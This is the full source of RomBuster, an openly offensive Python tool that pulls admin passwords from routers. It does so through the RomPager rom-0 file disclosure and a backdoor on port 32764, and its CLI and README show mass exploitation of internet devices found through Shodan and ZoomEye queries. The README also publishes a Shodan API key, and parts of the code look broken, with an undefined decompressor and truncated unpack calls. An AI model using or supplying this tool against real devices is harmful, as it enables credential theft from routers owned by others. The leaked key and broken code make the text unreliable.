├── TERMS_OF_SERVICE.md ├── LICENSE ├── rombuster ├── __init__.py ├── __main__.py ├── trigger.py └── cli.py ├── setup.py ├── CONTRIBUTING.md ├── .gitignore ├── README.md └── CODE_OF_CONDUCT.md /TERMS_OF_SERVICE.md: -------------------------------------------------------------------------------- 1 | # Terms of Service 2 | 3 | ## Our disclaimer 4 | 5 | This tool is designed for educational purposes only. 6 | 7 | Adequate defenses can only be built by researching attack techniques available to malicious actors. 8 | Using this tool against target systems without prior permission is illegal in most jurisdictions. 9 | The authors are not liable for any damages from misuse of this information or code. 10 | 11 | If you are planning on using this tool for malicious purposes that are not authorized by the company 12 | you are performing assessments for, you are violating the terms of service and license. 13 | 14 | After installing this tool, you automatically accept our terms of service and agree 15 | that you will use it only for lawful purposes. 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020-2024 EntySec 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /rombuster/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020-2024 EntySec 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | 25 | from .__main__ import RomBuster 26 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020-2024 EntySec 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | 25 | from setuptools import setup, find_packages 26 | 27 | setup(name='rombuster', 28 | version='1.0.0', 29 | description=( 30 | 'RomBuster is a router exploitation tool that allows' 31 | ' to disclosure network router admin password.' 32 | ), 33 | url='https://github.com/EntySec/RomBuster', 34 | author='EntySec', 35 | author_email='entysec@gmail.com', 36 | license='MIT', 37 | python_requires='>=3.7.0', 38 | packages=find_packages(), 39 | entry_points={ 40 | "console_scripts": [ 41 | "rombuster = rombuster.cli:main" 42 | ] 43 | }, 44 | install_requires=[ 45 | 'shodan', 46 | 'pex @ git+https://github.com/EntySec/Pex', 47 | 'badges @ git+https://github.com/EntySec/Badges' 48 | ], 49 | zip_safe=False 50 | ) 51 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | ## Contributing 2 | 3 | [fork]: /fork 4 | 5 | [pr]: /compare 6 | 7 | [code-of-conduct]: CODE_OF_CONDUCT.md 8 | 9 | [templates]: templates 10 | 11 | Hi there! We're thrilled that you'd like to contribute to this project. Your help is essential for keeping it great. 12 | 13 | Please note that this project is released with a [Contributor Code of Conduct][code-of-conduct]. By participating in 14 | this project you agree to abide by its terms. 15 | 16 | ## Issues and PRs 17 | 18 | If you have suggestions for how this project could be improved, or want to report a bug, open an issue! We'd love all 19 | and any contributions. If you have questions, too, we'd love to hear them. 20 | 21 | We'd also love PRs. If you're thinking of a large PR, we advise opening up an issue first to talk about it, though! Look 22 | at the links below if you're not sure how to open a PR. 23 | 24 | ## Submitting a pull request 25 | 26 | 1. [Fork][fork] and clone the repository. 27 | 2. Create a new branch: `git checkout -b my-branch-name`. 28 | 3. Make your changes, fix bugs, add modules, plugins or commands and perform tests. 29 | 4. Push to your fork and [submit a pull request][pr]. 30 | 5. Pat your self on the back and wait for your pull request to be reviewed and merged. 31 | 32 | Here are a few things you can do that will increase the likelihood of your pull request being accepted: 33 | 34 | - Follow the standard of [templates][templates]. 35 | - Keep your changes as focused as possible. If there are multiple changes you would like to make that are not dependent 36 | upon each other, consider submitting them as separate pull requests. 37 | - Write a [good commit message](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html). 38 | 39 | Work in Progress pull requests are also welcome to get feedback early on, or if there is something blocked you. 40 | 41 | ## Resources 42 | 43 | - [How to Contribute to Open Source](https://opensource.guide/how-to-contribute/) 44 | - [Using Pull Requests](https://help.github.com/articles/about-pull-requests/) 45 | - [GitHub Help](https://help.github.com) 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /rombuster/__main__.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020-2024 EntySec 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | 25 | import re 26 | import requests 27 | 28 | from .trigger import Trigger 29 | 30 | 31 | class RomBuster(object): 32 | """ Main class of rombuster module. 33 | 34 | This main class of rombuster module is intended for providing 35 | an exploit for RomPager vulnerability that extracts credentials 36 | from the obtained rom-0 file. 37 | """ 38 | 39 | def exploit(self, address: str) -> tuple: 40 | """ Exploit the vulnerability in RomPager and extract credentials. 41 | 42 | :param str address: device address 43 | :return tuple: tuple of username and password 44 | """ 45 | 46 | try: 47 | response = requests.get( 48 | f"http://{address}/rom-0", 49 | verify=False, 50 | timeout=3 51 | ) 52 | 53 | username = 'admin' 54 | data = response.content[8568:] 55 | result = String().lzs_decompress(data) 56 | 57 | password = re.findall("([\040-\176]{5,})", result) 58 | if len(password): 59 | return username, password[0] 60 | 61 | except Exception: 62 | trigger = Trigger(address.split(':')[0]) 63 | username, password = trigger.extract_credentials() 64 | 65 | if username is None and password is None: 66 | return 67 | 68 | if not username and not password: 69 | return 'admin', 'admin' 70 | 71 | return username, password 72 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RomBuster 2 | 3 | [![Developer](https://img.shields.io/badge/developer-EntySec-blue.svg)](https://entysec.com) 4 | [![Language](https://img.shields.io/badge/language-Python-blue.svg)](https://github.com/EntySec/RomBuster) 5 | [![Forks](https://img.shields.io/github/forks/EntySec/RomBuster?style=flat&color=green)](https://github.com/EntySec/RomBuster/forks) 6 | [![Stars](https://img.shields.io/github/stars/EntySec/RomBuster?style=flat&color=yellow)](https://github.com/EntySec/RomBuster/stargazers) 7 | [![CodeFactor](https://www.codefactor.io/repository/github/EntySec/RomBuster/badge)](https://www.codefactor.io/repository/github/EntySec/RomBuster) 8 | 9 | RomBuster is a router exploitation tool that allows to disclosure network router admin password. 10 | 11 | ## Features 12 | 13 | * Exploits vulnerabilities in most popular routers such as `D-Link`, `Zyxel`, `TP-Link`, `Cisco` and `Huawei`. 14 | * Optimized to exploit multiple routers at one time from list. 15 | * Simple CLI and API usage. 16 | 17 | ## Installation 18 | 19 | ```shell 20 | pip3 install git+https://github.com/EntySec/RomBuster 21 | ``` 22 | 23 | ## Basic usage 24 | 25 | To use RomBuster just type `rombuster` in your terminal. 26 | 27 | ``` 28 | usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN] 29 | [--zoomeye ZOOMEYE] [-p PAGES] 30 | 31 | RomBuster is a router exploitation tool that allows to disclosure network 32 | router admin password. 33 | 34 | optional arguments: 35 | -h, --help show this help message and exit 36 | -o OUTPUT, --output OUTPUT 37 | Output result to file. 38 | -i INPUT, --input INPUT 39 | Input file of addresses. 40 | -a ADDRESS, --address ADDRESS 41 | Single address. 42 | --shodan SHODAN Shodan API key for exploiting devices over Internet. 43 | --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. 44 | -p PAGES, --pages PAGES 45 | Number of pages you want to get from ZoomEye. 46 | ``` 47 | 48 | ### Examples 49 | 50 | **Exploiting single router** 51 | 52 | Let's hack my router just for fun. 53 | 54 | ```shell 55 | rombuster -a 192.168.99.1 56 | ``` 57 | 58 | **Exploiting routers from Internet** 59 | 60 | Let's try to use Shodan search engine to exploit routers over Internet. 61 | 62 | ```shell 63 | rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD 64 | ``` 65 | 66 | **NOTE:** Given Shodan API key (`PSKINdQe1GyxGgecYz2191H2JoS9qvgD`) is my PRO API key, you can use this key or your own, be free to use all our resources for free :) 67 | 68 | **Exploiting routers from input file** 69 | 70 | Let's try to use opened database of routers. 71 | 72 | ```shell 73 | rombuster -i routers.txt -o passwords.txt 74 | ``` 75 | 76 | **NOTE:** It will exploit all routers in `routers.txt` list by their addresses and save all obtained passwords to `passwords.txt`. 77 | 78 | ## API usage 79 | 80 | RomBuster also has their own Python API that can be invoked by importing RomBuster to your code. 81 | 82 | ```python 83 | from rombuster import RomBuster 84 | ``` 85 | 86 | ### Basic functions 87 | 88 | There are all RomBuster basic functions that can be used to exploit specified router. 89 | 90 | * `exploit(address)` - Exploit single router by given address. 91 | 92 | ### Examples 93 | 94 | **Exploiting single router** 95 | 96 | ```python 97 | from rombuster import RomBuster 98 | 99 | rombuster = RomBuster() 100 | creds = rombuster.exploit('192.168.99.1') 101 | 102 | print(creds) 103 | ``` 104 | -------------------------------------------------------------------------------- /rombuster/trigger.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020-2024 EntySec 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | 25 | import re 26 | import socket 27 | import struct 28 | 29 | 30 | class Trigger(object): 31 | """ Subclass of rombuster module. 32 | 33 | This subclass of rombuster is intended for providing 34 | an implementation of a router backdoor trigger. 35 | """ 36 | 37 | def __init__(self, host: str) -> None: 38 | """ Trigger will connect to the router and then 39 | it will try to trigger the backdoor. 40 | 41 | :param str host: host to connect to 42 | :return None: None 43 | """ 44 | 45 | self.host = host 46 | self.port = 32764 47 | 48 | def connect(self) -> socket.socket: 49 | """ Connect to the remote host. 50 | 51 | :return socket.socket: connected socket 52 | """ 53 | 54 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 55 | s.settimeout(3) 56 | 57 | try: 58 | s.connect((self.host, self.port)) 59 | except Exception: 60 | return None 61 | 62 | return s 63 | 64 | def detect_endian(self) -> str: 65 | """ Detect the hardware byte order of the connected device. 66 | 67 | :return str: detected endian (little or big) 68 | """ 69 | 70 | s = self.connect() 71 | 72 | if s is not None: 73 | s.send(b"abcd") 74 | response = s.recv(0xC) 75 | 76 | while len(response) < 0xC: 77 | temp = s.recv(0xC - len(r)) 78 | assert len(temp) != 0 79 | response += temp 80 | 81 | s.close() 82 | sig, ret_val, ret_len = struct.unpack('" 88 | return "" 89 | 90 | @staticmethod 91 | def talk(s: socket.socket, endian: str, message: int, payload: bytes = b'') -> str: 92 | """ Talk to the backdoor and receive the response. 93 | 94 | :param socket.socket s: connected socket 95 | :param str endian: device hardware byte order (little or big) 96 | :param int message: backdoor message 97 | :param bytes payload: backdoor payload 98 | :return str: backdoor response 99 | """ 100 | 101 | header = struct.pack(endian + 'III', 0x53634D4D, message, len(payload) + 1) 102 | 103 | s.send(header + payload + b'\x00') 104 | response = s.recv(0xC) 105 | 106 | while len(response) < 0xC: 107 | temp = s.recv(0xC - len(response)) 108 | assert len(temp) != 0 109 | response += temp 110 | 111 | sig, ret_val, ret_len = struct.unpack(endian + 'III', response) 112 | assert (sig == 0x53634D4D) 113 | 114 | if ret_val != 0: 115 | return "" 116 | 117 | string = b"" 118 | while len(string) < ret_len: 119 | temp = s.recv(ret_len - len(string)) 120 | assert len(temp) != 0 121 | string += temp 122 | 123 | return string 124 | 125 | def extract_credentials(self) -> tuple: 126 | """ Extract device credentials through the backdoor. 127 | 128 | :return tuple: username and password 129 | """ 130 | 131 | endian = self.detect_endian() 132 | s = self.connect() 133 | 134 | if s is not None and endian is not None: 135 | config = self.talk(s, endian, 1) 136 | 137 | lines = re.split("\x00|\x01", config.decode()) 138 | pattern = re.compile('user(name)?|password|login') 139 | 140 | username, password = "", "" 141 | for line in lines: 142 | try: 143 | variable, value = line.split("=") 144 | if len(value) > 0 and pattern.search(variable): 145 | if variable == 'http_username': 146 | username = value 147 | elif variable == 'http_password': 148 | password = value 149 | except BaseException: 150 | pass 151 | 152 | return username, password 153 | return None, None 154 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | entysec@gmail.com. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /rombuster/cli.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2020-2024 EntySec 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | 25 | import os 26 | import argparse 27 | import requests 28 | import threading 29 | 30 | from badges import Badges 31 | from shodan import Shodan 32 | 33 | from time import sleep as thread_delay 34 | 35 | from .__main__ import RomBuster 36 | 37 | 38 | class RomBusterCLI(RomBuster, Badges): 39 | """ Subclass of rombuster module. 40 | 41 | This subclass of rombuster module is intended for providing 42 | command-line interface for RomBuster. 43 | """ 44 | 45 | thread_delay = 2 46 | 47 | description = ( 48 | 'RomBuster is a router exploitation tool that allows' 49 | ' to disclosure network router admin password.' 50 | ) 51 | 52 | parser = argparse.ArgumentParser(description=description) 53 | parser.add_argument('-o', '--output', dest='output', help='Output result to file.') 54 | parser.add_argument('-i', '--input', dest='input', help='Input file of addresses.') 55 | parser.add_argument('-a', '--address', dest='address', help='Single address.') 56 | parser.add_argument('--shodan', dest='shodan', help='Shodan API key for exploiting devices over Internet.') 57 | parser.add_argument('--zoomeye', dest='zoomeye', help='ZoomEye API key for exploiting devices over Internet.') 58 | parser.add_argument('-p', '--pages', dest='pages', type=int, help='Number of pages you want to get from ZoomEye.') 59 | args = parser.parse_args() 60 | 61 | def thread(self, address: str) -> bool: 62 | """ Start new thread for the specified address. 63 | 64 | :param str address: device address 65 | :return bool: True if thread succeed 66 | """ 67 | 68 | result = self.exploit(address) 69 | 70 | if result: 71 | result = f"({address}) - {result[0]}:{result[1]}" 72 | if not self.args.output: 73 | self.print_success(result) 74 | else: 75 | with open(self.args.output, 'a') as f: 76 | f.write(f"{result}\n") 77 | return True 78 | return False 79 | 80 | def crack(self, addresses: list) -> None: 81 | """ Crack all devices from the specified list. 82 | 83 | :param list addresses: list of devices addresses 84 | :return None: None 85 | """ 86 | 87 | line = "/-\\|" 88 | 89 | counter = 0 90 | for address in addresses: 91 | if counter >= len(line): 92 | counter = 0 93 | 94 | self.print_process(f"Exploiting... ({address}) {line[counter]}", end='') 95 | self.thread(address) 96 | 97 | counter += 1 98 | 99 | def start(self) -> None: 100 | """ Main command-line arguments handler. 101 | 102 | :return None: None 103 | """ 104 | 105 | if self.args.output: 106 | directory = os.path.split(self.args.output)[0] 107 | 108 | if directory: 109 | if not os.path.isdir(directory): 110 | self.print_error(f"Directory: {directory}: does not exist!") 111 | return 112 | 113 | if self.args.zoomeye: 114 | self.print_process("Authorizing ZoomEye by given API key...") 115 | try: 116 | zoomeye = 'https://api.zoomeye.org/host/search?query=RomPager/4.07&page=' 117 | zoomeye_header = { 118 | 'Authorization': f'JWT {self.zoomeye}' 119 | } 120 | addresses = list() 121 | 122 | if self.args.pages: 123 | pages = int(self.args.pages) 124 | else: 125 | pages = 100 126 | pages, page = divmod(pages, 20) 127 | if page != 0: 128 | pages += 1 129 | 130 | for page in range(1, pages + 1): 131 | results = requests.get(zoomeye + str(page), headers=zoomeye_header).json() 132 | if not len(results['matches']): 133 | self.print_error("Failed to authorize ZoomEye!") 134 | return 135 | for address in results['matches']: 136 | addresses.append(address['ip'] + ':' + str(address['portinfo']['port'])) 137 | except Exception: 138 | self.print_error("Failed to authorize ZoomEye!") 139 | return 140 | self.crack(addresses) 141 | 142 | elif self.args.shodan: 143 | self.print_process("Authorizing Shodan by given API key...") 144 | try: 145 | shodan = Shodan(self.args.shodan) 146 | results = shodan.search(query='RomPager/4.07') 147 | addresses = list() 148 | for result in results['matches']: 149 | addresses.append(result['ip_str'] + ':' + str(result['port'])) 150 | except Exception: 151 | self.print_error("Failed to authorize Shodan!") 152 | return 153 | self.print_success("Authorization successfully completed!") 154 | self.crack(addresses) 155 | 156 | elif self.args.input: 157 | if not os.path.exists(self.args.input): 158 | self.print_error(f"Input file: {self.args.input}: does not exist!") 159 | return 160 | 161 | with open(self.args.input, 'r') as f: 162 | addresses = f.read().strip().split('\n') 163 | self.crack(addresses) 164 | 165 | elif self.args.address: 166 | self.print_process(f"Exploiting {self.args.address}...") 167 | if not self.thread(self.args.address): 168 | self.print_error(f"({self.args.address}) - is not vulnerable!") 169 | 170 | else: 171 | self.parser.print_help() 172 | return 173 | self.print_empty(end='') 174 | 175 | 176 | def main() -> None: 177 | """ RomBuster command-line interface. 178 | 179 | :return None: None 180 | """ 181 | 182 | try: 183 | cli = RomBusterCLI() 184 | cli.start() 185 | except BaseException: 186 | pass 187 | --------------------------------------------------------------------------------